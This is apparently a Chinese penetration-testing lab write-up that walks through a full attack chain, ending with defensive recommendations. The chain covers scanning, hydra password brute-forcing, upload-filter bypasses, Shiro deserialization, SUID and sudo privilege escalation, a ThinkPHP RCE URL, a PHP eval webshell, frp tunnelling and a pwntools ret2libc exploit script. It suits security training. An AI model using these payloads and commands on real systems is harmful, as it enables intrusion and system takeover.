记录一次坎坷的打靶经历
字数 1199 2025-08-11 08:36:04
渗透测试实战教学:从Web漏洞到内网渗透
1. 信息收集与初始访问
1.1 端口扫描与服务识别
使用nmap进行初始扫描:
nmap -sV -p- <target_ip>
关键点:
- 识别开放端口(80, 8080等)
- 确定服务版本信息
- 优先从Web服务(80端口)开始测试
1.2 Web应用基础测试
-
页面源代码检查:
- 右键查看源代码
- 搜索"flag"关键词
- 检查注释和隐藏字段
-
目录扫描:
使用御剑等工具扫描常见路径:./yujian -u http://<target_ip> -w common.txt重点关注:
- /admin
- /robots.txt
- /backup
2. Web漏洞利用
2.1 弱口令攻击
-
常见测试组合:
- admin/admin
- admin/123456
- root/root
-
自动化工具:
hydra -l admin -P passlist.txt <target_ip> http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
2.2 文件上传漏洞
双写绕过技术:
- 拦截上传请求(Burp Suite)
- 修改文件名:
- shell.pphphp → 过滤后变为shell.php
- 其他绕过技术:
- 大小写(.PhP)
- 空字节(shell.php%00.jpg)
- 特殊扩展名(.php5)
2.3 Shiro反序列化漏洞
识别特征:
- Cookie中存在rememberMe字段
- 使用工具检测:
java -jar shiro-exploit.jar http://<target_ip>:8080
利用步骤:
- 生成payload
- 使用DNSLog验证
- 执行命令获取shell
3. 权限提升技术
3.1 SUID提权
查找具有SUID权限的可执行文件:
find / -perm -4000 -type f 2>/dev/null
利用find命令提权:
find . -exec /bin/sh -p \; -quit
3.2 Sudo提权(CVE-2021-3156)
检测受影响版本:
sudo --version | grep 1.8.31
利用步骤:
- 下载exp:
wget https://example.com/exploit.c - 编译并执行:
gcc exploit.c -o exploit ./exploit
4. 内网渗透
4.1 内网主机发现
使用已获取的shell进行扫描:
nmap -sn 192.168.0.0/24
或使用内置命令:
for i in {1..254}; do ping -c 1 192.168.0.$i | grep "bytes from"; done
4.2 端口转发与代理
使用frp建立Socks5代理:
- 服务端配置(frps.ini):
[common] bind_port = 7000 - 客户端配置(frpc.ini):
[common] server_addr = <your_vps_ip> server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5
4.3 ThinkPHP RCE漏洞利用
针对5.0.20版本的利用:
http://192.168.0.4/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell:
echo '<?php eval($_POST["cmd"]);?>' > shell.php
5. PWN缓冲区溢出实战
5.1 漏洞分析
检查保护机制:
checksec --file=main
IDA分析关键点:
- 识别vuln函数
- 确定缓冲区大小
- 查找可利用函数(write, system等)
5.2 Ret2libc利用
利用步骤:
- 泄露函数地址(write)
- 计算libc基址
- 定位system和/bin/sh
- 构造payload
示例exp:
from pwn import *
from LibcSearcher import *
p = remote('xx.xx.xx.xx', 9999)
elf = ELF('./main')
write_plt = elf.plt['write']
write_got = elf.got['write']
ppp_ret = 0x08048559
offset = 40
# 第一阶段:泄露write地址
payload = b'A'*offset
payload += p32(write_plt) + p32(ppp_ret)
payload += p32(1) + p32(write_got) + p32(4)
p.sendlineafter('name:\n', payload)
write_addr = u32(p.recv(4))
# 第二阶段:获取shell
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'A'*offset
payload += p32(system_addr) + p32(0xdeadbeef)
payload += p32(binsh_addr)
p.sendline(payload)
p.interactive()
6. 总结与防御建议
攻击面总结
-
Web层面:
- 信息泄露
- 弱口令
- 文件上传漏洞
- 框架漏洞(Shiro, ThinkPHP)
-
系统层面:
- SUID配置不当
- Sudo漏洞
- 服务配置错误
防御建议
-
安全开发:
- 输入验证与过滤
- 使用预编译语句防SQL注入
- 文件上传严格限制类型
-
系统加固:
- 最小权限原则
- 定期更新补丁
- 禁用不必要的SUID权限
-
网络防护:
- 网络隔离
- 入侵检测系统
- 日志监控与分析
通过本案例可以学习到完整的渗透测试流程,从外网突破到内网横向移动,最终获取系统最高权限。每个环节都需要结合多种技术手段,并不断尝试和验证。